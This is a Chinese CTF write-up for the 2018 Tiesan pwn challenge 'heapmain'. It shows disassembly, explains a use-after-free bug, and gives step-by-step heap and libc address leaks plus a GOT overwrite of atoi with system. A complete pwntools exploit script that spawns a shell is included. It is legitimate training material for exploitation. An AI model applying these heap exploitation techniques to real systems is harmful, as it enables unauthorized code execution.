FormSec

逢魔网络安全实验室

铁人三项2018 pwn heapmain Writeup

Author:WeaponX

这个题目的原题是RHME3,直接拿来二进制修改,去掉网络函数,使用socat部署。这波操作可还行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
.text:00000000004021A1 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004021A1 public main
.text:00000000004021A1 main proc near ; DATA XREF: _start+1D↑o
.text:00000000004021A1
.text:00000000004021A1 var_9 = byte ptr -9
.text:00000000004021A1 var_4 = dword ptr -4
.text:00000000004021A1
.text:00000000004021A1 ; __unwind {
.text:00000000004021A1 push rbp
.text:00000000004021A2 mov rbp, rsp
.text:00000000004021A5 sub rsp, 10h
.text:00000000004021A9 mov [rbp+var_9], 0
.text:00000000004021AD nop
.text:00000000004021AE nop
.text:00000000004021AF nop
.text:00000000004021B0 nop
.text:00000000004021B1 nop
...
.text:00000000004021C7 nop
.text:00000000004021C8 nop
.text:00000000004021C9 nop
.text:00000000004021CA nop
.text:00000000004021CB nop
.text:00000000004021CC nop
.text:00000000004021CD nop
.text:00000000004021CE mov rax, cs:stdout@@GLIBC_2_2_5
.text:00000000004021D5 mov esi, 0 ; buf
.text:00000000004021DA mov rdi, rax ; stream
.text:00000000004021DD call _setbuf
.text:00000000004021E2 mov edi, offset aWelcomeToYourT ; "Welcome to your TeamManager (TM)!"
.text:00000000004021E7 call _puts

分析

废话不多说,题目漏洞比较明显,在于使用函数delete_player后没有置空selected导致UAF。那么,我们能用这个UAF干什么呢?

程序中player的数据结构是这样的

1
2
3
4
5
6
7
struct player{
int32 attack;
int32 defense;
int32 speed;
int32 precision;
char* name;
}

这块就有个关键点edit_player中的set_name函数,用来修改name字段的时候用到了realloc函数。这个函数比较特殊,可以在制定地址上重新分配一个堆,即可以对给定的指针所指的空间进行扩大或者缩小 。当然,扩大的时候会破坏其他内存则类似malloc重新分配一个指针指向的内存空间。

泄露堆地址(貌似没啥用)

首先,我们可以通过以下方法泄露堆的地址:

1.分配一个player 1,name的长度为23,则name会分配24字节。

2.选中这个player 1

3.释放这个player 1

4.显示这个player 1,这时候1->name中的fd指向player 1的地址。打印name的时候就会把player的地址打印出来。

泄露libc

接着,我们可以通过以下方法泄露libc的地址:

1.分配一个player 1,name的长度为23,则name会分配24字节。

2.选中这个player 1

3.释放这个player 1

4.分配一个player 2,这块内存其实是1->name。2->name长度为23,这块内存为1->player。

5.编辑player 1,1->name长度扩展为0x90。

6.再创建一个player 3(作用是隔开0x90的内存和top chunk,方式free后合并到top chunk)

7.然后释放palyer 2,也就是把1->name的内存释放,此时这块内存被放入unsorted bin里,link到main_arena上

8.show player1 会泄露出libc上的main_arena的地址,就可以计算出libc的基址,由于给了libc就可以求出system的地址

GOT劫持

接下来是控制执行流程(realloc分配内存到got上,覆盖aoit的got为system):

1.分配player 1,name长度80

2.分配player 2,name长度80

3.选中1

4.释放player 1,释放player 2

5.分配一个player 3,name的长度为23,内容为'a'*16 + atoi_got。此时player3 的内存为player2,player3->name为player1。

6.修改player->name为system,此时会将atoi_got分配给我们,然后system的地址会填入atoi。

7.最后输入sh即可

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *

r = process('./heapmain', env= {'LD_PRELOAD':'./libc.so.6'})
elf = ELF('./heapmain')
#libc = ELF('./libc-2.23.so')
libc = ELF('./libc.so.6')
#context.log_level = 'DEBUG'

def add(name, attack, defense, speed, precision):
r.recvuntil('Your choice: ')
r.sendline('1')
r.recvuntil('name: ')
r.sendline(name)
r.recvuntil('attack points: ')
r.sendline(str(attack))
r.recvuntil('defense points: ')
r.sendline(str(defense))
r.recvuntil('speed: ')
r.sendline(str(speed))
r.recvuntil('precision: ')
r.sendline(str(precision))

def delete(idx):
r.recvuntil('Your choice: ')
r.sendline('2')
r.recvuntil('Enter index: ')
r.sendline(str(idx))

def select(idx):
r.recvuntil('Your choice: ')
r.sendline('3')
r.recvuntil('Enter index: ')
r.sendline(str(idx))

def edit(name = '', attack = '', defense = '', speed = '', precision = ''):
r.recvuntil('Your choice: ')
r.sendline('4')
if name:
r.recvuntil('Your choice: ')
r.sendline('1')
r.recvuntil('Enter new name: ')
r.sendline(name)
if str(attack):
r.recvuntil('Your choice: ')
r.sendline('2')
r.recvuntil('attack points: ')
r.sendline(str(attack))
if str(defense):
r.recvuntil('Your choice: ')
r.sendline('3')
r.recvuntil('defense points: ')
r.sendline(str(defense))
if str(speed):
r.recvuntil('Your choice: ')
r.sendline('4')
r.recvuntil('speed: ')
r.sendline(str(speed))
if str(precision):
r.recvuntil('Your choice: ')
r.sendline('5')
r.recvuntil('precision: ')
r.sendline(str(precision))

r.recvuntil('Your choice: ')
r.sendline('0')

def show_player():
r.recvuntil('Your choice: ')
r.sendline('5')
r.recvuntil('\tName: ')
name = r.recvline()
r.recvuntil('\tA/D/S/P: ')
ret = r.recvline()
ret = ret.split(',')
return name, ret[0], ret[1], ret[2], ret[3]


add('a'*23, 1,1,1,1)
select(0)
delete(0)
_,attack,_,_,_ = show_player()
heap_base = int(attack) - 0x20

add('b'*23, 1,1,1,1)

edit('c'*0x90, 1,1,1,1)

add('d'*23, 1,1,1,1)

delete(0)
name,_,_,_,_ = show_player()

unsortedbin_addr = u64(name[:-1].ljust(8, '\x00'))
libc_base = unsortedbin_addr - 0x3c4b78
system_addr = libc_base + libc.symbols['system']

log.success('HEAP BASE => %s' % hex(heap_base))
log.success('UNSORTEDBIN ADDR => %s' % hex(unsortedbin_addr))
delete(1)

add('a'*80, 1,1,1,1)
add('b'*80, 1,1,1,1)
select(0)

delete(0)
delete(1)

payload = 'a' * 16 + p64(elf.got['atoi'])
add(payload, 1,1,1,1)

edit(name=p64(system_addr))

r.recv(512)
r.sendline('sh')
r.interactive()